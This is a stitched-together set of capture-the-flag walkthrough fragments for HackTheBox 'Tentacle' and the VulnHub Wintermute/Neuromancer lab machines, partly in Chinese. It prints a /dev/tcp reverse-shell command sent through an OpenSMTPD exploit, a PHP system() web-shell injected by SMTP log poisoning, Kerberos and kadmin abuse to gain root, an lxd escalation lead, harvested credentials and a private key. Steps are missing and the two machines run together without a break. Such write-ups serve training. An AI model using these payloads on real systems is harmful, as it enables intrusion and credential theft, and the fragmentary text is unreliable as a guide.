┌──(root💀kali)-[~/hackthebox/machine/tentacle] └─# proxychains -f /etc/proxychains.conf python3 getshell.py 10.241.251.113 25 'bash -c "exec bash -i &> /dev/tcp/10.10.14.25/3334 <&1"' [proxychains] config file found: /etc/proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.14 [proxychains] Dynamic chain ... 10.10.10.224:3128 ... 127.0.0.1:3128 ... 10.197.243.77:3128 ... 10.241.251.113:25 ... OK Received b'220 smtp.realcorp.htb ESMTP OpenSMTPD\r\n' SENDING HELO RECIEVED b'250 smtp.realcorp.htb Hello test.com [10.241.251.1], pleased to meet you\r\n' RECIEVED b'250 2.0.0 Ok\r\n' RECIEVED b'250 2.1.5 Destination address valid: Recipient ok\r\n' RECIEVED b'354 Enter mail, end with "." on a line by itself\r\n' RECIEVED b'250 2.0.0 f1c85e8f Message accepted for delivery\r\n' RECIEVED b'221 2.0.0 Bye\r\n' Exploited Check you netcat :D
and got a shelll
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root💀kali)-[~] └─# nc -lvp 3334 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::3334 Ncat: Listening on 0.0.0.0:3334 Ncat: Connection from 10.10.10.224. Ncat: Connection from 10.10.10.224:52864. bash: cannot set terminal process group (12): Inappropriate ioctl for device bash: no job control in this shell root@smtp:~# id id uid=0(root) gid=0(root) groups=0(root) root@smtp:~# whoami whoami root
root@smtp:/home/j.nakazawa# cat .msmtprc cat .msmtprc # Set default values for all following accounts. defaults auth on tls on tls_trust_file /etc/ssl/certs/ca-certificates.crt logfile /dev/null
# RealCorp Mail account realcorp host 127.0.0.1 port 587 from j.nakazawa@realcorp.htb user j.nakazawa password sJB}RM>6Z~64_ tls_fingerprint C9:6A:B9:F6:0A:D4:9C:2B:B9:F6:44:1F:30:B8:5E:5A:D8:0D:A5:60
# Set a default account account default : realcorp
Quickly got creds 😀 that’s located in /home/j.nakazawa
but sadly can’t able to ssh with it 😦 need to use kerbos to generate a ticket and use that ticket to log in as the user, let’s do that
Make sure installed that, If not then do it with the below commands
1
apt-get install krb5-user
then modify /etc/hosts and /etc/krb5.conf files
1
10.10.10.224 srv01.realcorp.htb
make sure have this host in /etc/hosts file
1 2 3 4 5
default_realm = REALCORP.HTB
REALCORP.HTB = { kdc = 10.10.10.224 }
and add this on /etc/krb5.conf file
then going to generate the ticket
1 2 3
──(root💀kali)-[~/hackthebox/machine/tentacle] └─# kinit j.nakazawa Password for j.nakazawa@REALCORP.HTB:
use this to generate the ticket, it asks for password, Enter the password that we got above in /home/j.nakazawa folder
Valid starting Expires Service principal 2021-01-30T22:12:34 2021-01-31T22:10:00 krbtgt/REALCORP.HTB@REALCORP.HTB
use this commands to check the available tickets
There you go simply log in, this time it won’t asks password. If it asks for password you done a mistake anywhere 😦 correct it and try again
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(root💀kali)-[~/hackthebox/machine/tentacle] └─# ssh j.nakazawa@10.10.10.224 The authenticity of host '10.10.10.224 (10.10.10.224)' can't be established. ECDSA key fingerprint is SHA256:eWzMB5HoqVH++9udWLB4bYS/8KguhJxNZPtZ3JLc3oo. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.224' (ECDSA) to the list of known hosts. Activate the web console with: systemctl enable --now cockpit.socket Last login: Thu Dec 24 06:02:06 2020 from 10.10.14.2 [j.nakazawa@srv01 ~]$ id uid=1000(j.nakazawa) gid=1000(j.nakazawa) 组=1000(j.nakazawa),23(squid),100(users) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [j.nakazawa@srv01 ~]$ whoami j.nakazawa [j.nakazawa@srv01 ~]$ ls user.txt [j.nakazawa@srv01 ~]$ cat user.txt 3e644f8b453a335ba99548e35919b78e
Good here we logged as j.nakazawa fastly grab the user.txt and follow my steps, here after it’s a headache to go forward
It backups everything from /var/log/squid to /home/admin
So if we put something in that squid folder then it’ll be copied to admin’s folder, fine now let’s create a log in file then we can log as admin coz it copied to that admin’s folder
then copy this file to /var/log/squid folder. can’t able to go to that folder (permissions denied) but we can copy this file there, so do that
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root💀kali)-[~] └─# ssh admin@srv01.realcorp.htb The authenticity of host 'srv01.realcorp.htb (10.10.10.224)' can't be established. ECDSA key fingerprint is SHA256:eWzMB5HoqVH++9udWLB4bYS/8KguhJxNZPtZ3JLc3oo. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'srv01.realcorp.htb' (ECDSA) to the list of known hosts. Activate the web console with: systemctl enable --now cockpit.socket Last login: Sun Jan 31 03:27:01 2021 [admin@srv01 ~]$ id uid=1011(admin) gid=1011(admin) 组=1011(admin),23(squid) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [admin@srv01 ~]$ whoami admin [admin@srv01 ~]$ ls squid_logs.tar.gz.2021-01-31-032501 squid_logs.tar.gz.2021-01-31-032601 squid_logs.tar.gz.2021-01-31-032701
after doing that try to log in as admin (try 2~3 times) some times it takes time to copy that log in file
ADMIN TO ROOT
fine now we’re admin after enuming some time this file seems interesting “krb5.keytab” it’s located in /etc folder.
A keytab is a file containing pairs of Kerberos principals and encrypted keys (which are derived from the Kerberos password). You can use a keytab file to authenticate to various remote systems using Kerberos without entering a password.
note that bolded text now we’re going to do that 😀
then the kadmin’s console tab will open, add this principle into it
1 2 3 4 5 6 7 8
[admin@srv01 ~]$ kadmin -k -t /etc/krb5.keytab -p kadmin/admin@REALCORP.HTB Couldn't open log file /var/log/kadmind.log: Permission denied Authenticating as principal kadmin/admin@REALCORP.HTB with keytab /etc/krb5.keytab. kadmin: add_principal root@REALCORP.HTB No policy specified for root@REALCORP.HTB; defaulting to no policy Enter password for principal "root@REALCORP.HTB": Re-enter password for principal "root@REALCORP.HTB": Principal "root@REALCORP.HTB" created.
Then it ask’s to create password, create a password there then exit that kadmin’s console, just type exit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
[admin@srv01 ~]$ ksu root WARNING: Your password may be exposed if you enter it here and are logged in remotely using an unsecure (non-encrypted) channel. Kerberos password for root@REALCORP.HTB: : Authenticated root@REALCORP.HTB Account root: authorization for root@REALCORP.HTB successful Changing uid to root (0) [root@srv01 admin]# id uid=0(root) gid=0(root) 组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [root@srv01 admin]# whoami root [root@srv01 admin]# cd [root@srv01 ~]# ls anaconda-ks.cfg Linux_release_checklist.sh root.txt [root@srv01 ~]# cat root.txt 9b46410371881ac43708ca604eb10aab
then type ksu root and it ask’s for password just type the password that you’ve created above in kadmin’s console 😀
root@kali:~# nmap -p- -sV -Pn -T5 -v -A --script=vuln 192.168.56.111 PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd |_clamav-exec: ERROR: Script execution failed (use -d to debug) | smtp-vuln-cve2010-4344: |_ The SMTP server is not Exim: NOT VULNERABLE | ssl-dh-params: | VULNERABLE: | Anonymous Diffie-Hellman Key Exchange MitM Vulnerability | State: VULNERABLE | Transport Layer Security (TLS) services that use anonymous | Diffie-Hellman key exchange only provide protection against passive | eavesdropping, and are vulnerable to active man-in-the-middle attacks | which could completely compromise the confidentiality and integrity | of any data exchanged over the resulting session. | Check results: | ANONYMOUS DH GROUP 1 | Cipher Suite: TLS_DH_anon_WITH_AES_256_CBC_SHA | Modulus Type: Safe prime | Modulus Source: Unknown/Custom-generated | Modulus Length: 2048 | Generator Length: 8 | Public Key Length: 2048 | References: |_ https://www.ietf.org/rfc/rfc2246.txt |_sslv2-drown: 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: |_ /manual/: Potentially interesting folder |_http-server-header: Apache/2.4.25 (Debian) |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 3000/tcp open http Mongoose httpd |_clamav-exec: ERROR: Script execution failed (use -d to debug) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.111 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.56.111:3000/ | Form id: |_ Form action: /authorize.html |_http-dombased-xss: Couldn't find any DOM based XSS. | http-fileupload-exploiter: | |_ Couldn't find a file-type field. |_http-majordomo2-dir-traversal: ERROR: Script execution failed (use -d to debug) |_http-passwd: ERROR: Script execution failed (use -d to debug) | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-trane-info: Problem with XML parsing of /evox/about | http-vuln-cve2010-0738: |_ /jmx-console/: Authentication was not required
root@kali:~# telnet 192.168.56.111 25 Trying 192.168.56.111... Connected to 192.168.56.111. Escape character is '^]'. 220 straylight ESMTP Postfix (Debian/GNU) HELO hack.com 250 straylight MAIL FROM: hacker@hack.com 250 2.1.0 Ok RCPT TO: wintermute@localhost.com 454 4.7.1 <wintermute@localhost.com>: Relay access denied RCPT TO: wintermute 250 2.1.5 Ok DATA 354 End data with <CR><LF>.<CR><LF> subject: <?php system($_REQUEST['luci']); ?> hacked!! . 250 2.0.0 Ok: queued as EC8E454D7 quit 221 2.0.0 Bye Connection closed by foreign host.
root@kali:~# nc -lvp 9999 listening on [any] 9999 ... 192.168.56.109: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.109] 48508 bash: cannot set terminal process group (771): Inappropriate ioctl for device bash: no job control in this shell www-data@straylight:/var/www/html/turing-bolo$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@straylight:/var/www/html/turing-bolo$ whoami whoami www-data
# cd /root cd /root # ls ls flag.txt note.txt scripts # cat note.txt cat note.txt Devs,
Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her interact w/ the AI via a web-based GUI. The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access on the Freeside network. It is within out internal admin network, but still, it should be off the network completely. For the sake of humanity, user access should only be allowed via the physical console...who knows what this thing can do.
Anyways, we've deployed the war file on tomcat as ordered - located here: /struts2_2.3.15.1-showcase It's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure this thing. Regards, Bob Laugh Turing Systems Engineer II Freeside//Straylight//Ops5 # cat flag.txt cat flag.txt 5ed185fd75a8d6a7056c96a436c6d8aa
# arp -a arp -a ? (192.168.56.102) at 00:0c:29:70:75:41 [ether] on enp0s8 ? (192.168.56.110) at 08:00:27:de:b9:3d [ether] on enp0s8 ? (192.168.56.1) at 0a:00:27:00:00:19 [ether] on enp0s8 ? (192.168.56.100) at 08:00:27:25:3d:8a [ether] on enp0s8
root@kali:~# nmap -sV -v -p 8009,8080,34483 -Pn -A --script=vuln 192.168.56.110 PORT STATE SERVICE VERSION 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) |_clamav-exec: ERROR: Script execution failed (use -d to debug) 8080/tcp open http Apache Tomcat 9.0.0.M26 |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /examples/: Sample scripts | /manager/html/upload: Apache Tomcat (401 ) | /manager/html: Apache Tomcat (401 ) |_ /docs/: Potentially interesting folder | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_ http://ha.ckers.org/slowloris/ |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 34483/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) |_clamav-exec: ERROR: Script execution failed (use -d to debug)
$ cat ai-gui-guide.txt Application for Neuromancer remote access interface includes:
-Maven - /opt/ -Java jdk - /usr/lib/jvm/ -Tomcat - /usr/local/tomcat/ -Struts2 - /home/ta/myWebApp/ - war files are in /root. Update these ASAP to improve security.
Reduce installation of apps to ONLY what's needed, seucure configurations and follow app security best practices.
root@kali:~# ssh lady3jane@192.168.56.110 -p 34483 ---------------------------------------------------------------- | Neuromancer Secure Remote Access | | UNAUTHORIZED ACCESS will be investigated by the Turing Police | ---------------------------------------------------------------- lady3jane@192.168.56.110's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 94 packages can be updated. 44 updates are security updates. Last login: Wed Jan 15 23:19:21 2020 from 192.168.56.102 lady3jane@neuromancer:~$ id uid=1001(lady3jane) gid=1001(lady3jane) groups=1001(lady3jane) lady3jane@neuromancer:~$ whoami lady3jane
现在,在lady3jane的主目录中,有一个文件可能每隔几分钟就会由cron执行一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
lady3jane@neuromancer:~$ cat custom-tomcat-chk.sh #!/bin/bash # Health check for Neuromancer (root) to execute every 3 minutes. # ..the AI tells me it can maintain security, server health, etc w/o forced intervention, # but I beg to differ...hence the cron script.
root@neuromancer:/root# crontab -l # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # indicating with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m), hour (h), day of month (dom), month (mon), # and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # # For example, you can run a backup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/ # # For more information see the manual pages of crontab(5) and cron(8) # # m h dom mon dow command
$ whoami ta $ mkdir .ssh $ ls -la total 60 drwxr-xr-x 7 ta ta 4096 Jan 18 20:57 . drwxr-xr-x 4 root root 4096 Jul 1 2018 .. -rw-rw-r-- 1 ta ta 352 Jul 1 2018 ai-gui-guide.txt -rw------- 1 ta ta 54 Jul 3 2018 .bash_history -rw-r--r-- 1 ta ta 220 May 18 2018 .bash_logout -rw-r--r-- 1 ta ta 3900 May 18 2018 .bashrc drwx------ 2 ta ta 4096 May 18 2018 .cache drwxrwxr-x 3 ta ta 4096 May 18 2018 .m2 drwxrwxr-x 4 ta ta 4096 May 18 2018 myWebApp drwxrwxr-x 2 ta ta 4096 May 18 2018 .oracle_jre_usage -rw-r--r-- 1 ta ta 655 May 18 2018 .profile drwxr-x--- 2 ta ta 4096 Jan 18 20:57 .ssh -rw-r----- 1 ta ta 82 May 18 2018 velocity.log -rw------- 1 ta ta 4538 Jul 1 2018 .viminfo $ cd .ssh $ ls $ ssh-keygen Generating public/private rsa key pair. Enter file inwhich to save the key (/home/ta/.ssh/id_rsa): Enter passphrase (empty for no passphrase): 123456 Enter same passphrase again: 123456 Your identification has been saved in /home/ta/.ssh/id_rsa. Your public key has been saved in /home/ta/.ssh/id_rsa.pub. The key fingerprint is: SHA256:/gzcDUYz+IUYLOPtla+IXjSlx8Mmfc9cHvH0794Ptys ta@neuromancer The key's randomart image is: +---[RSA 2048]----+ | .. | | o .+ . | | . +o *.. ..| | . .Oo+ .+| | .S.@.. .+| | +.B =.+ oo| | .=.... = +| | ...+. E +o| | .. o .+B| +----[SHA256]-----+ $ ls -la total 16 drwxr-x--- 2 ta ta 4096 Jan 18 21:00 . drwxr-xr-x 7 ta ta 4096 Jan 18 20:57 .. -rw------- 1 ta ta 1766 Jan 18 21:00 id_rsa -rw-r----- 1 ta ta 396 Jan 18 21:00 id_rsa.pub $ cp id_rsa.pub authorized_keys $ ls authorized_keys id_rsa id_rsa.pub $ chmod 400 * $ cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpcLl+QjOHvGDqQ9ZPsgT8Rm9VbuZsa0JtUsE59C5feBNUC0uuOME6JSSY+Ci5fXnanOJIFKcNbRnfz0eQ35/FlCQE6TqXW08LROeaz+scppXs9O7wMNkmVrtrjHMIfebEtB9I05DWPpme5GjHE9QerNjE4t8Z6khoqipeQAy2VqYmqU5u8ll2gm3VDNhgUnfGeBwUoQA2Ktj1F9XMaBVgRBytZ86VLW1Be4SLd6rkMhgA/poZQSZGjU1di09Y9VnN/au+PgQQvVvldP2WITAfS4j0rTTF9zz8o+kccWll/CkMjoOBAJB06KBqxg1dnGcMXyEUnTshFidXx2TjBQQx ta@neuromancer $ cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpcLl+QjOHvGDqQ9ZPsgT8Rm9VbuZsa0JtUsE59C5feBNUC0uuOME6JSSY+Ci5fXnanOJIFKcNbRnfz0eQ35/FlCQE6TqXW08LROeaz+scppXs9O7wMNkmVrtrjHMIfebEtB9I05DWPpme5GjHE9QerNjE4t8Z6khoqipeQAy2VqYmqU5u8ll2gm3VDNhgUnfGeBwUoQA2Ktj1F9XMaBVgRBytZ86VLW1Be4SLd6rkMhgA/poZQSZGjU1di09Y9VnN/au+PgQQvVvldP2WITAfS4j0rTTF9zz8o+kccWll/CkMjoOBAJB06KBqxg1dnGcMXyEUnTshFidXx2TjBQQx ta@neuromancer $ cat id_rsa -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,0A0CA4D74B1C05FCDEC9F8FAE18EFB6D w38r/TLFNRXJBCI/BpIUgQcmqZ8tcIyIaOg5gOhBLoKgLhmQ1ghMtBghR/Uu3hY8 16Wk4Vk64miWibaNYG4aVz0XOK4Zi6u3slp8KHMZm5OARsnLRfWdBck/VSzqmv0z uI1yl0E3jJyfA+Xlxra9lxKzSi5g4Qw64q22tJzC9bNktAbVCNaV795K7m0TJaXl 5SzB6+jagE96PjwT169VyJxX0IpVHIEeVZfkO3QD9e2mcJLgassz3fG+YlU6vQVV O4IZnXu/pPjYSFeLyVwcasHsgWsxqRsPne7J88l8gBVFswFjLVnCLW55i14le1bk 82/BHH+3Y6zAkjueFA4/ggFKKU0kRlXQXdFMNhxH9gc3+gANeIK+qXfypx2+3keC d6wplIaFtzt9npQh3vJnXPF4l6dWCOYAK8FqoGgcbB8qDOz5/j1qxHHo3P8mWyVP X0wK7UzwBg8nIe3JjKtFPfSpgiNtNGai5GCvJlt7c9Wtxd1HcIFcUrCDeAb9ijMm zzTLNdkae/677ErzfQfEeA24u21DyQoIP0MUM0ICa3Qjr5uXa1RnNq38pYfi338X kKwHqJQCxm43HLoQIoMQIRYTN49W3wLMdnH7oF40nT6ktJuC9zlzilV+JxcRODgc eUFoKag5y2/wR8yeLeUiDgxUzL441ThkYGa2jaULRoVehDgAUXrQEEkzY/OM8/G1 50MJAMEKJU17TDjTtjIy6ymtKPTxohezKvBwjgQmR6eGin32i6iIs38jag8jqape 0MIRzOO3gfod8FXaJMp282gebGhLwWeowjogzfyKQzwIQxkldVVOO1caJWuBczNd JMKT7F1zoClpEg9YFyPMnkQtoNwjuGs6KtFgpt5yz/8j5jy0uiSaiLlvrOYtDDli 0AEjTlDPbzEQgKhdjdwiPm0ClJoXHIgg35mjwTwfxmFvNL2XJlunm2fDcooDbM3o 2KIzsa5kFEFbvPkP1Cym4RrTRkXv55XfRZHBk5/DBICmez6pkaC1A+W0vfyTX70z wJrvoUHdENdQIHESb8hrAmqZXjSNsBB1WEKHcN39v/iufxMMk0Dei2Ca5VgTfyfB lwtrdtV3YPhNT4v+2FhibKIaILIVS0oWU9IAzAHNPMt+GFXo3QRtFJmprJc8AVzf 3guFhYesZZVmzNRDcuhZuQmY54YaCc0VFEBLwoaIn5Y33zPO274IICw0IXzm4Nmm QttHWLl9IcbVVOkkmnuvNcKZ8kdcZ24zZGXD+2bV/+VQHFanSXjEDdzeYDUjRiiK va7jEa8wb5/mHOJFRTeYBiuLY1H239HedvycPRfHyA1Hq3q3+7c1JJVxiVdOr3zO gM22fIaExHxjRdf0L06sht1SC9Le4d6oc5mhFjmk4h+DyorOyWuaC8xBUatE+slF OxerKC2CdDFCrx9+8jQmix0KSfePhYC4loiQ+tS6Bp8YtiOGOmlZ+2sCa0wf7inN sOLukUtHENuU720fPxEurnbCDG4QKk4Szvea61UkOrEF15x0PO42YSCz7QtHdLeG hiHhVK28l9FeRekPEdOUou1tjiiVvEUUNi99YJsOroTNfiHy6RjmcA+BWFOIfHrY -----END RSA PRIVATE KEY-----
kali端运行
1 2 3 4 5 6
root@kali:~# cd .ssh root@kali:~/.ssh# ls known_hosts root@kali:~/.ssh# touch id_rsa root@kali:~/.ssh# nano id_rsa (将ta用户中的id_rsa中的值拷贝进来) root@kali:~/.ssh# chmod 400 *
94 packages can be updated. 44 updates are security updates.
Last login: Tue Jul 3 21:53:25 2018 ta@neuromancer:~$ id uid=1000(ta) gid=1000(ta) groups=1000(ta),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) ta@neuromancer:~$ whoami ta
ta@neuromancer:~$ groups ta adm cdrom dip plugdev lxd lpadmin sambashare
看到是对lxd的引用,这是Ubunutu的容器技术-Docker的替代方法,我做了一些研究,发现“Booj”写的一篇很棒的文章叫做Privilege Escalation via lxd,根据本文所述,如果安装了lxd且给定用户是lxd组的成员,则它们具有与使用以下命令添加到/etc/sudoers相同的权限:
ta@neuromancer:~$ uname -a Linux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ta@neuromancer:~$ cat /proc/version Linux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018
~ # cd /mnt/root /mnt/root # ls bin etc lib media proc sbin sys var boot home lib64 mnt root snap tmp vmlinuz dev initrd.img lost+found opt run srv usr